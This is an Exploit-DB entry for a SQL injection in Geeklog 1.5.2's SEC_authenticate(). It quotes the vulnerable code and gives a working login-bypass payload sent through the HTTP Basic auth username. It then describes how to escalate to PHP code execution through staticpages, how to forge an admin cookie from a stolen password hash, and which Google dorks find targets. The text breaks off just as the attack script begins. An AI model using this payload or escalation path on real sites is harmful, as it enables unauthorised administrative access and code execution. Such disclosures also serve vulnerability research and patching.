Exploit-DB #8376
Description: Geeklog 1.5.2 - 'SEC_authenticate()' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-09
Author: Nine:Situations:Group

Exploit:
<?php


/*
    Geeklog <=1.5.2 SEC_authenticate()/PHP_AUTH_USER sql injection exploit
    by Nine:Situations:Group::bookoo

    our site: http://retrogod.altervista.org/
    software site: http://www.geeklog.net/

    credit goes to rgod, bug found more than a year ago

    working against PHP >= 5.0
    google dorks: "By Geeklog" "Created this page in" +seconds +powered
                  "By Geeklog" "Created this page in" +seconds +powered inurl:public_html

    vulnerability, see /public_html/webservices/atom/index.php near lines 34-53:
    ...
    require_once '../../lib-common.php';

    if (PHP_VERSION < 5) {
    $_CONF['disable_webservices'] = true;
    } else {
        require_once $_CONF['path_system'] . '/lib-webservices.php';
    }
    if ($_CONF['disable_webservices']) {
        COM_displayMessageAndAbort($LANG_404[3], '', 404, 'Not Found');
    }
    header('Content-type: ' . 'application/atom+xml' . '; charset=UTF-8');
    WS_authenticate();
    ...

    now WS_authenticate() function in /system/lib-webservices.php near lines 780-877:

    ...
    function WS_authenticate()
    {
    global $_CONF, $_TABLES, $_USER, $_GROUPS, $_RIGHTS, $WS_VERBOSE;

    $uid = '';
    $username = '';
    $password = '';

    $status = -1;

    if (isset($_SERVER['PHP_AUTH_USER'])) {
        $username = $_SERVER['PHP_AUTH_USER'];
        $password = $_SERVER['PHP_AUTH_PW'];

        if ($WS_VERBOSE) {
            COM_errorLog("WS: Attempting to log in user '$username'");
        }
    } elseif (!empty($_SERVER['REMOTE_USER'])) {


        list($auth_type, $auth_data) = explode(' ', $_SERVER['REMOTE_USER']);
        list($username, $password) = explode(':', base64_decode($auth_data));

        if ($WS_VERBOSE) {
            COM_errorLog("WS: Attempting to log in user '$username' (via \$_SERVER['REMOTE_USER'])");
        }
    } else {
        if ($WS_VERBOSE) {
            COM_errorLog("WS: No login given");
        }


    }

    ...

    and after, near lines 907-909:

    ...
     if (($status == -1) && $_CONF['user_login_method']['standard']) {
            $status = SEC_authenticate($username, $password, $uid);
        }

    ...
	
	
    now open /system/lib-security.php near lines 695-717:

    ...
	function SEC_authenticate($username, $password, &$uid)
    {
    global $_CONF, $_TABLES, $LANG01;

    $result = DB_query("SELECT status, passwd, email, uid FROM {$_TABLES['users']} WHERE username='$username' AND ((remoteservice is null) or (remoteservice = ''))"); //<------------------- SQL INJECTION HERE
    $tmp = DB_error();
    $nrows = DB_numRows($result);

    if (($tmp == 0) && ($nrows == 1)) {
        $U = DB_fetchArray($result);
        $uid = $U['uid'];
        if ($U['status'] == USER_ACCOUNT_DISABLED) {
            // banned, jump to here to save an md5 calc.
            return USER_ACCOUNT_DISABLED;
        } elseif ($U['passwd'] != SEC_encryptPassword($password)) {

            return -1; // failed login
        } elseif ($U['status'] == USER_ACCOUNT_AWAITING_APPROVAL) {
            return USER_ACCOUNT_AWAITING_APPROVAL;
        } elseif ($U['status'] == USER_ACCOUNT_AWAITING_ACTIVATION) {
            // Awaiting user activation, activate:
            DB_change($_TABLES['users'], 'status', USER_ACCOUNT_ACTIVE,
                      'username', $username);
            return USER_ACCOUNT_ACTIVE;
        } else {
            return $U['status']; // just return their status
        }
    } else {
        $tmp = $LANG01[32] . ": '" . $username . "'";
        COM_errorLog($tmp, 1);
        return -1;
    }
    }

    ...

    you can inject sql code in the 'username' argument of this function, it may
    come from $_SERVER['PHP_AUTH_USER'] or $_SERVER['REMOTE_USER'] php
    variables.
    Theese vars are used for both HTTP Basic and Digest Authentication methods,
    see PHP manual:

    http://www.php.net/manual/en/features.http-auth.php

    manual poc, visit http://host/path_to_geeklog/webservices/atom/index.php
    then type:

    username: ' AND 0 UNION SELECT 3,MD5('AAAA'),null,2 FROM gl_users LIMIT 1/*
    password: AAAA

    authentication mechanism is bypassed!
    Note that it is passed base64_encode()'d !
	
    Now you have access to some dangerous functions:

    service_submit_staticpages()
    service_delete_staticpages()
    service_get_staticpages()
    service_getTopicList_staticpages()

    in /plugins/staticpages/services.inc.php

    service_submit_story()
    service_delete_story()
    service_get_story()
    service_getTopicList_story()
	
    in /system/lib-story.php
	
    ex. the service_submit_staticpages() one allows to specify a dangerous
    sp_php flag in submitting "staticpages"; if the staticapages.PHP permission
    is set to true for the staticpage admin (not the default), the page will be
    evaluated as PHP code.	
	
    If not, you can extract the admin hash, then have access to administration
    panel by the cookie:
	
    geeklog=[uid]; password=[md5 hash];
	
    set the staticpages.PHP permission to true, then resubmit the 'staticpage'.
	
    Additional notes: Speed time limit is evaded by this script in submitting
    login credentials/semi-blind queries.
    If private folders are placed inside the www path (ex. when then public_html
    path is visible inside urls) you could see the geeklog error.log with sql
    errors, so disclose the table prefix, if not the default; ex, truncate the
    url, replacing public_html/ with logs/error.log and you coukd also disclose
    the local path by visiting ex. http://host/path/system/pear/Archive/Tar.php
    http://host/path/system/classes/syndication/parserfactory.class.php
*/
     
     
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";